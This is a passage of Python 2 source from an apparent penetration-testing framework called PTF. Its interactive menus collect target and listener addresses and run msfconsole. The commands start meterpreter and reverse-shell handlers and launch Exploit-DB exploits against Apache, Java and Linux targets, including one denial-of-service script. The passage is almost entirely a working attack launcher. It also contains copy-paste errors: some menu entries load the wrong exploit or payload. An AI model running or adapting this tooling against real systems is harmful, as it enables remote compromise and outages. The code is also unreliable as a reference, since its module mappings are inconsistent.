                osx_x64_meterpreter_reverse_https()
        elif map == 'back':
            core.menu.listener()
        elif map =='clear':
            clean()
            osx_x64_meterpreter_reverse_https()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            osx_x64_meterpreter_reverse_https()

def osx_x64_meterpreter_reverse_tcp():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/osx_x64_meterpreter_reverse_tcp"+N+"): ")
        if map == 'show options':
            help.jancok()
            osx_x64_meterpreter_reverse_tcp()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map =='set target':
             lhost =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/osx_x64_meterpreter_reverse_tcp "+G+"(set LHOST)"+N+"): ")
             print 'LHOST =>',lhost
             lport =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/osx_x64_meterpreter_reverse_tcp"+G+"(set LPORT)"+N+"): ")
             print 'LPORT =>',lport
             her =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/osx_x64_meterpreter_reverse_tcp "+N+"): ")
             if her =='run':
                os.system('msfconsole -q -x "use exploit/multi/handler; set payload osx/x64/meterpreter_reverse_https ; set lhost %s ; set lport %s ; run"' % (lhost,lport))
                print
                osx_x64_meterpreter_reverse_tcp()
        elif map == 'back':
            core.menu.listener()
        elif map =='clear':
            clean()
            osx_x64_meterpreter_reverse_tcp()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            osx_x64_meterpreter_reverse_tcp()


def php_meterpreter_reverse_tcp():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/php_meterpreter_reverse_tcp"+N+"): ")
        if map == 'show options':
            help.jancok()
            php_meterpreter_reverse_tcp()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map =='set target':
             lhost =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/php_meterpreter_reverse_tcp "+G+"(set LHOST)"+N+"): ")
             print 'LHOST =>',lhost
             lport =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/php_meterpreter_reverse_tcp"+G+"(set LPORT)"+N+"): ")
             print 'LPORT =>',lport
             her =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/php_meterpreter_reverse_tcp "+N+"): ")
             if her =='run':
                os.system('msfconsole -q -x "use exploit/multi/handler; set payload php/meterpreter/reverse_tcp ; set lhost %s ; set lport %s ; run"' % (lhost,lport))
                print
                php_meterpreter_reverse_tcp()
        elif map == 'back':
            core.menu.listener()
        elif map =='clear':
            clean()
            php_meterpreter_reverse_tcp()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            php_meterpreter_reverse_tcp()

def python_meterpreter_reverse_https():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/python_meterpreter_reverse_https"+N+"): ")
        if map == 'show options':
            help.jancok()
            python_meterpreter_reverse_https()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map =='set target':
             lhost =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/python_meterpreter_reverse_https "+G+"(set LHOST)"+N+"): ")
             print 'LHOST =>',lhost
             lport =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/python_meterpreter_reverse_https"+G+"(set LPORT)"+N+"): ")
             print 'LPORT =>',lport
             her =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/python_meterpreter_reverse_https "+N+"): ")
             if her =='run':
                os.system('msfconsole -q -x "use exploit/multi/handler; set payload python/meterpreter_reverse_https ; set lhost %s ; set lport %s ; run"' % (lhost,lport))
                print
                python_meterpreter_reverse_https()
        elif map == 'back':
            core.menu.listener()
        elif map =='clear':
            clean()
            python_meterpreter_reverse_https()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            python_meterpreter_reverse_https()


def python_meterpreter_reverse_tcp():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/python_meterpreter_reverse_tcp"+N+"): ")
        if map == 'show options':
            help.jancok()
            python_meterpreter_reverse_tcp()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map =='set target':
             lhost =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/python_meterpreter_reverse_tcp "+G+"(set LHOST)"+N+"): ")
             print 'LHOST =>',lhost
             lport =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/python_meterpreter_reverse_tcp"+G+"(set LPORT)"+N+"): ")
             print 'LPORT =>',lport
             her =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/python_meterpreter_reverse_tcp "+N+"): ")
             if her =='run':
                os.system('msfconsole -q -x "use exploit/multi/handler; set payload python/meterpreter_reverse_tcp ; set lhost %s ; set lport %s ; run"' % (lhost,lport))
                print
                python_meterpreter_reverse_tcp()
        elif map == 'back':
            core.menu.listener()
        elif map =='clear':
            clean()
            python_meterpreter_reverse_tcp()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            python_meterpreter_reverse_tcp()


def windows_x64_meterpreter_reverse_https():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/windows_x64_meterpreter_reverse_https"+N+"): ")
        if map == 'show options':
            help.jancok()
            windows_x64_meterpreter_reverse_https()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map =='set target':
             lhost =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/windows_x64_meterpreter_reverse_https "+G+"(set LHOST)"+N+"): ")
             print 'LHOST =>',lhost
             lport =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/windows_x64_meterpreter_reverse_https"+G+"(set LPORT)"+N+"): ")
             print 'LPORT =>',lport
             her =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/windows_x64_meterpreter_reverse_https "+N+"): ")
             if her =='run':
                os.system('msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter_reverse_https ; set lhost %s ; set lport %s ; run"' % (lhost,lport))
                print
                windows_x64_meterpreter_reverse_https()
        elif map == 'back':
            core.menu.listener()
        elif map =='clear':
            clean()
            windows_x64_meterpreter_reverse_https()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            windows_x64_meterpreter_reverse_https()


def windows_x64_meterpreter_reverse_tcp():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/windows_x64_meterpreter_reverse_tcp"+N+"): ")
        if map == 'show options':
            help.jancok()
            windows_x64_meterpreter_reverse_tcp()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map =='set target':
             lhost =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/windows_x64_meterpreter_reverse_tcp "+G+"(set LHOST)"+N+"): ")
             print 'LHOST =>',lhost
             lport =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/windows_x64_meterpreter_reverse_tcp"+G+"(set LPORT)"+N+"): ")
             print 'LPORT =>',lport
             her =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/windows_x64_meterpreter_reverse_tcp "+N+"): ")
             if her =='run':
                os.system('msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter_reverse_tcp ; set lhost %s ; set lport %s ; run"' % (lhost,lport))
                print
                windows_x64_meterpreter_reverse_tcp()
        elif map == 'back':
            core.menu.listener()
        elif map =='clear':
            clean()
            windows_x64_meterpreter_reverse_tcp()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            windows_x64_meterpreter_reverse_tcp()


def cmd_windows_reverse_powershell():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/cmd_windows_reverse_powershell"+N+"): ")
        if map == 'show options':
            help.jancok()
            cmd_windows_reverse_powershell()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map =='set target':
             lhost =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/cmd_windows_reverse_powershell "+G+"(set LHOST)"+N+"): ")
             print 'LHOST =>',lhost
             lport =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/cmd_windows_reverse_powershell"+G+"(set LPORT)"+N+"): ")
             print 'LPORT =>',lport
             her =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/cmd_windows_reverse_powershell "+N+"): ")
             if her =='run':
                os.system('msfconsole -q -x "use exploit/multi/handler; set payload cmd/windows/reverse_powershell ; set lhost %s ; set lport %s ; run"' % (lhost,lport))
                print
                cmd_windows_reverse_powershell()
        elif map == 'back':
            core.menu.listener()
        elif map =='clear':
            clean()
            cmd_windows_reverse_powershell()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            cmd_windows_reverse_powershell()

#END
def apache():
    map =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+N+"): ")
    if map == 'show options':
        print """
              +-------------------------------------------------------------------------------------------------------------------+
              |OPTIONS                                                                                                            |
              ---------------------------------------------------------------------------------------------------------------------
              |       \033[31mCommand                                                             Description      \033[1;37m                       |
              ---------------------------------------------------------------------------------------------------------------------
              |  show module                               | show module exploit apache                                           |
              |  set                                       | Select Modules For Use \033[31m(ex: set exploits/windows_x86/remote/16782.rb)\033[1;37m|
              |  run                                       | start module                                                         |
              |  back                                      | back                                                                 |
              ---------------------------------------------------------------------------------------------------------------------
              """
        apache()
    elif map =='show module':
        help.apache_module()
        apache()
####################################################################################################################################################################################################################################################
# MODULES searchsploit#
#######################
    elif map =='set exploits/windows_x86/remote/16782.rb':
        host =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/windows_x86/remote/16782)"+R+"(set RHOST)"+N+"): ")
        print'RHOST => ',host
        port =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/windows_x86/remote/16782)"+R+"(set RPORT)"+N+"): ")
        print'RPORT => ',port
        lhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/windows_x86/remote/16782)"+R+"(set LHOST)"+N+"): ")
        print'LHOST => ',lhost
        lport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/windows_x86/remote/16782)"+R+"(set LPORT)"+N+"): ")
        print'LPORT => ',lport
        re =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/windows_x86/remote/16782)"+N+"): ")
        if re =='run':
           os.system('mkdir -p /root/.msf4/modules/exploits/windows_x86/remote')
           os.system('cp /usr/share/exploitdb/exploits/windows_x86/remote/16782.rb /root/.msf4/modules/exploits/windows_x86/remote')
           os.system('msfconsole -q -x "use exploit/windows_x86/remote/16782 ; set RHOSTS %s ; set RPORT %s ; set payload windows/meterpreter/reverse_tcp; set lhost %s ; set lport %s ; run "'% (host,port,lhost,lport))
           apache()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            apache()

    elif map =='set exploits/multiple/dos/31615.rb':
        host =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/dos/3161)"+R+"(set Target)"+N+"): ")
        print'RHOST => ',host
        re =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/dos/3161)"+N+"): ")
        if re =='run':
           os.system('cp /usr/share/exploitdb/exploits/multiple/dos/31615.rb modules/dos')
           os.system('ruby modules/dos/31615.rb -u %s -n 10 '%(host))
           apache()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            apache()

    elif map =='set exploits/linux/remote/39945.rb':
        host =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/linux/remote/39945)"+R+"(set RHOST)"+N+"): ")
        print'RHOST => ',host
        port =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/linux/remote/39945)"+R+"(set RPORT)"+N+"): ")
        print'RPORT => ',port
        lhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/linux/remote/39945)"+R+"(set LHOST)"+N+"): ")
        print'LHOST => ',lhost
        lport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/linux/remote/39945)"+R+"(set LPORT)"+N+"): ")
        print'LPORT => ',lport
        re =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/linux/remote/39945)"+N+"): ")
        if re =='run':
           os.system('mkdir -p /root/.msf4/modules/exploits/linux/remote/39945')
           os.system('cp /usr/share/exploitdb/exploits/linux/remote/39945.rb /root/.msf4/modules/exploits/linux/remote/')
           os.system('msfconsole -q -x "use exploit/linux/remote/39945 ; set RHOSTS %s ; set RPORT %s ; set payload linux/x86/meterpreter_reverse_tcp; set lhost %s ; set lport %s ; run "'% (host,port,lhost,lport))
           apache()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            apache()

    elif map =='set exploits/linux/remote/45019.rb':
        host =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/linux/remote/45019)"+R+"(set RHOST)"+N+"): ")
        print'RHOST => ',host
        port =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/linux/remote/45019)"+R+"(set RPORT)"+N+"): ")
        print'RPORT => ',port
        lhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/linux/remote/45019)"+R+"(set LHOST)"+N+"): ")
        print'LHOST => ',lhost
        lport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/linux/remote/45019)"+R+"(set LPORT)"+N+"): ")
        print'LPORT => ',lport
        re =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/linux/remote/45019)"+N+"): ")
        if re =='run':
           os.system('mkdir -p /root/.msf4/modules/exploits/linux/remote/45019')
           os.system('cp /usr/share/exploitdb/exploits/linux/remote/45019.rb /root/.msf4/modules/exploits/linux/remote/')
           os.system('msfconsole -q -x "use exploit/linux/remote/45019 ; set RHOSTS %s ; set RPORT %s ; set payload linux/x86/meterpreter_reverse_tcp; set lhost %s ; set lport %s ; run "'% (host,port,lhost,lport))
           apache()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            apache()

    elif map =='set exploits/java/remote/39643.rb':
        host =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/java/remote/39643)"+R+"(set RHOST)"+N+"): ")
        print'RHOST => ',host
        port =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/java/remote/39643)"+R+"(set RPORT)"+N+"): ")
        print'RPORT => ',port
        lhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/java/remote/39643)"+R+"(set LHOST)"+N+"): ")
        print'LHOST => ',lhost
        lport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/java/remote/39643)"+R+"(set LPORT)"+N+"): ")
        print'LPORT => ',lport
        re =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/java/remote/39643)"+N+"): ")
        if re =='run':
           os.system('mkdir -p /root/.msf4/modules/exploits/java/remote/')
           os.system('cp /usr/share/exploitdb/exploits/java/remote/39643.rb /root/.msf4/modules/exploits/java/remote/')
           os.system('msfconsole -q -x "use exploit/java/remote/39643 ; set RHOSTS %s ; set RPORT %s ; set payload generic/shell_reverse_tcp; set lhost %s ; set lport %s ; run "'% (host,port,lhost,lport))
           apache()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            apache()

    elif map =='set exploits/java/remote/29859.rb':
        host =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/java/remote/29859)"+R+"(set RHOST)"+N+"): ")
        print'RHOST => ',host
        port =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/java/remote/29859)"+R+"(set RPORT)"+N+"): ")
        print'RPORT => ',port
        uri =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/java/remote/29859)"+R+"(set targeturi /roller)"+N+"): ")
        print'targeturi => ',uri
        lhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/java/remote/29859)"+R+"(set LHOST)"+N+"): ")
        print'LHOST => ',lhost
        lport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/java/remote/29859)"+R+"(set LPORT)"+N+"): ")
        print'LPORT => ',lport
        re =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/java/remote/29859)"+N+"): ")
        if re =='run':
           os.system('mkdir -p /root/.msf4/modules/exploits/java/remote/')
           os.system('cp /usr/share/exploitdb/exploits/java/remote/29859.rb /root/.msf4/modules/exploits/java/remote/')
           os.system('msfconsole -q -x "use exploits/java/remote/29859 ; set RHOSTS %s ; set RPORT %s ; set TARGETURI %s ; set payload generic/shell_reverse_tcp; set lhost %s ; set lport %s ; run "'% (host,port,uri,lhost,lport))
           apache()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            apache()

    elif map =='set exploits/java/remote/45925.rb':
        host =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/java/remote/45925)"+R+"(set RHOST)"+N+"): ")
        print'RHOST => ',host
        port =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/java/remote/45925)"+R+"(set RPORT)"+N+"): ")
        print'RPORT => ',port
        uri =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/java/remote/45925)"+R+"(set targeturi /roller)"+N+"): ")
        print'targeturi => ',uri
        lhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/java/remote/45925)"+R+"(set LHOST)"+N+"): ")
        print'LHOST => ',lhost
        lport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/java/remote/45925)"+R+"(set LPORT)"+N+"): ")
        print'LPORT => ',lport
        re =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/java/remote/45925)"+N+"): ")
        if re =='run':
           os.system('mkdir -p /root/.msf4/modules/exploits/java/remote/')
           os.system('cp /usr/share/exploitdb/exploits/java/remote/45925.rb /root/.msf4/modules/exploits/java/remote/')
           os.system('msfconsole -q -x "use exploits/java/remote/29859 ; set RHOSTS %s ; set RPORT %s ; set TARGETURI %s ; set payload generic/shell_reverse_tcp; set lhost %s ; set lport %s ; run "'% (host,port,uri,lhost,lport))
           apache()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            apache()

    elif map =='set exploits/multiple/remote/24874.rb':
        a =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/33142)"+R+"(set Parameter)"+N+"): ")
        print'targeturi => ',a
        host =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/24874)"+R+"(set RHOST)"+N+"): ")
        print'RHOST => ',host
        port =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/24874)"+R+"(set RPORT)"+N+"): ")
        print'RPORT => ',port
        uri =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/24874)"+R+"(set targeturi)"+N+"): ")
        print'targeturi => ',uri
        lhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/24874)"+R+"(set LHOST)"+N+"): ")
        print'LHOST => ',lhost
        lport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/24874)"+R+"(set LPORT)"+N+"): ")
        print'LPORT => ',lport
        re =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/24874)"+N+"): ")
        if re =='run':
           os.system('mkdir -p /root/.msf4/modules/exploits/multiple/remote/')
           os.system('cp /usr/share/exploitdb/exploits/multiple/remote/24874.rb /root/.msf4/modules/exploits/multiple/remote/')
           os.system('msfconsole -q -x "use exploits/multiple/remote/24874 ;set CHECK_SLEEPTIME 5; set PARAMETER %s; set RHOSTS %s ; set RPORT %s ; set TARGETURI %s ; set payload generic/shell_reverse_tcp; set lhost %s ; set lport %s ; run "'% (a,host,port,uri,lhost,lport))
           apache()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            apache()

    elif map =='set exploits/multiple/remote/33142.rb':
        a =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/33142)"+R+"(set Parameter)"+N+"): ")
        print'targeturi => ',a
        host =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/33142)"+R+"(set RHOST)"+N+"): ")
        print'RHOST => ',host
        port =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/33142)"+R+"(set RPORT)"+N+"): ")
        print'RPORT => ',port
        uri =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/33142)"+R+"(set targeturi)"+N+"): ")
        print'targeturi => ',uri
        lhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/33142)"+R+"(set LHOST)"+N+"): ")
        print'LHOST => ',lhost
        lport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/33142)"+R+"(set LPORT)"+N+"): ")
        print'LPORT => ',lport
        re =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/33142)"+N+"): ")
        if re =='run':
           os.system('mkdir -p /root/.msf4/modules/exploits/multiple/remote/')
           os.system('cp /usr/share/exploitdb/exploits/multiple/remote/33142.rb /root/.msf4/modules/exploits/multiple/remote/')
           os.system('msfconsole -q -x "use exploits/multiple/remote/33142 ;set CHECK_SLEEPTIME 5; set PARAMETER %s; set RHOSTS %s ; set RPORT %s ; set TARGETURI %s ; set payload generic/shell_reverse_tcp; set lhost %s ; set lport %s ; run "'% (a,host,port,uri,lhost,lport))
           apache()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            apache()

    elif map =='set exploits/java/remote/31434.rb':
        host =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/java/remote/31434)"+R+"(set RHOST)"+N+"): ")
        print'RHOST => ',host
        port =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/java/remote/31434)"+R+"(set RPORT)"+N+"): ")
        print'RPORT => ',port
        uri =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/java/remote/31434)"+R+"(set targeturi)"+N+"): ")
        print'targeturi => ',uri
        lhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/java/remote/31434)"+R+"(set LHOST)"+N+"): ")
        print'LHOST => ',lhost
        lport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/java/remote/31434)"+R+"(set LPORT)"+N+"): ")
        print'LPORT => ',lport
        re =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/java/remote/31434)"+N+"): ")
        if re =='run':
           os.system('mkdir -p /root/.msf4/modules/exploits/java/remote/')
           os.system('cp /usr/share/exploitdb/exploits/java/remote/31434.rb /root/.msf4/modules/exploits/java/remote/')
           os.system('msfconsole -q -x "use exploits/java/remote/29859 ; set RHOSTS %s ; set RPORT %s ; set TARGETURI %s ; set payload generic/shell_reverse_tcp; set lhost %s ; set lport %s ; run "'% (host,port,uri,lhost,lport))
           apache()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            apache()

    elif map =='set exploits/linux/remote/39756.rb':
        host =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/linux/remote/39756)"+R+"(set RHOST)"+N+"): ")
        print'RHOST => ',host
        port =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/linux/remote/39756)"+R+"(set RPORT)"+N+"): ")
        print'RPORT => ',port
        uri =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/linux/remote/39756)"+R+"(set targeturi)"+N+"): ")
        print'targeturi => ',uri
        lhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/linux/remote/39756)"+R+"(set LHOST)"+N+"): ")
        print'LHOST => ',lhost
        lport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/linux/remote/39756)"+R+"(set LPORT)"+N+"): ")
        print'LPORT => ',lport
        re =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/linux/remote/39756)"+N+"): ")
        if re =='run':
           os.system('mkdir -p /root/.msf4/modules/exploits/linux/remote/')
           os.system('cp /usr/share/exploitdb/exploits/linux/remote/39756.rb /root/.msf4/modules/exploits/linux/remote/')
           os.system('msfconsole -q -x "use exploits/linux/remote/39756 ; set RHOSTS %s ; set RPORT %s ; set TARGETURI %s ; set payload generic/shell_reverse_tcp; set lhost %s ; set lport %s ; run "'% (host,port,uri,lhost,lport))
           apache()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            apache()

    elif map =='set exploits/multiple/remote/39919.rb':
        host =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/linux/remote/39756)"+R+"(set RHOST)"+N+"): ")
        print'RHOST => ',host
        port =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/linux/remote/39756)"+R+"(set RPORT)"+N+"): ")
        print'RPORT => ',port
        uri =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/linux/remote/39756)"+R+"(set targeturi)"+N+"): ")
        print'targeturi => ',uri
        lhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/linux/remote/39756)"+R+"(set LHOST)"+N+"): ")
        print'LHOST => ',lhost
        lport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/linux/remote/39756)"+R+"(set LPORT)"+N+"): ")
        print'LPORT => ',lport
        re =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/linux/remote/39756)"+N+"): ")
        if re =='run':
           os.system('mkdir -p /root/.msf4/modules/exploits/linux/remote/')
           os.system('cp /usr/share/exploitdb/exploits/linux/remote/39756.rb /root/.msf4/modules/exploits/linux/remote/')
           os.system('msfconsole -q -x "use exploits/linux/remote/39756 ; set RHOSTS %s ; set RPORT %s ; set TARGETURI %s ; set payload generic/shell_reverse_tcp; set lhost %s ; set lport %s ; run "'% (host,port,uri,lhost,lport))
           apache()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            apache()

    elif map =='set exploits/multiple/remote/25980.rb':
        host =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/25980)"+R+"(set RHOST)"+N+"): ")
        print'RHOST => ',host
        port =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/25980)"+R+"(set RPORT)"+N+"): ")
        print'RPORT => ',port
